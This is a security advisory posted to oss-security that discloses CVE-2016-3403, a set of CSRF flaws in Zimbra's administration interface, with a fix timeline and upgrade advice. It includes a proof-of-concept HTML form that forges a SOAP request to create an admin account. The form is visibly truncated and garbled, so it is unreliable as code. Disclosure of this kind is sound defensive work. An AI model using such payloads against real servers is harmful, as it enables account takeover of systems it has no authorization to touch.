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[oss-security] [CVE-2016-3403] [Zimbra] Multiple CSRF in Administration interface - all versions

# CVE-2016-3403: Multiple CSRF in Zimbra Administration interface

## Description

Multiple CSRF vulnerabilities have been found in the administration
interface of Zimbra, giving possibilities like adding, modifying and
removing admin accounts.

## Vulnerability

Every forms in the Administration part of Zimbra are vulnerable to CSRF
because of the lack of a CSRF token identifying a valid session. As a
consequence, requests can be forged and played arbitrarily.

**Access Vector**:   remote
**Security Risk**:   low
**Vulnerability**:   CWE-352
**CVSS Base score**: 5.8

## Proof of Concept

<form enctype="text/plain" id="trololo"
    <input name='<soap:Envelope
xmlns="urn:zimbra"><userAgent xmlns="" name="DTC"/><session xmlns=""
id="1337"/><format xmlns=""
xmlns="urn:zimbraAdmin"><name xmlns="">itworks AT ubuntu.fr</name><password
xmlns="">test1234</password><a xmlns=""
n="zimbraAccountStatus">active</a><a xmlns=""
n="displayName">ItWorks</a><a xmlns="" n'

        value='"sn">itworks</a><a xmlns=""

## Solution

  * Upgrade to version 8.7

## Affected versions

 * All versions previous to 8.7

## Fixes

 * https://bugzilla.zimbra.com/show_bug.cgi?id=100885
 * https://bugzilla.zimbra.com/show_bug.cgi?id=100899

## Timeline (dd/mm/yyyy)

 * 24/02/2016: Issue reported to Zimbra
 * 24/02/2016: Issue aknwoledged
 * 20/06/2016: complete fixes released with version 8.7

## Credits

 * Anthony LAOU-HINE TSUEI, Sysdream (laouhine_anthony -at- hotmail
-dot- fr)
 * Damien CAUQUIL, Sysdream (d.cauquil -at- sysdream -dot- com)

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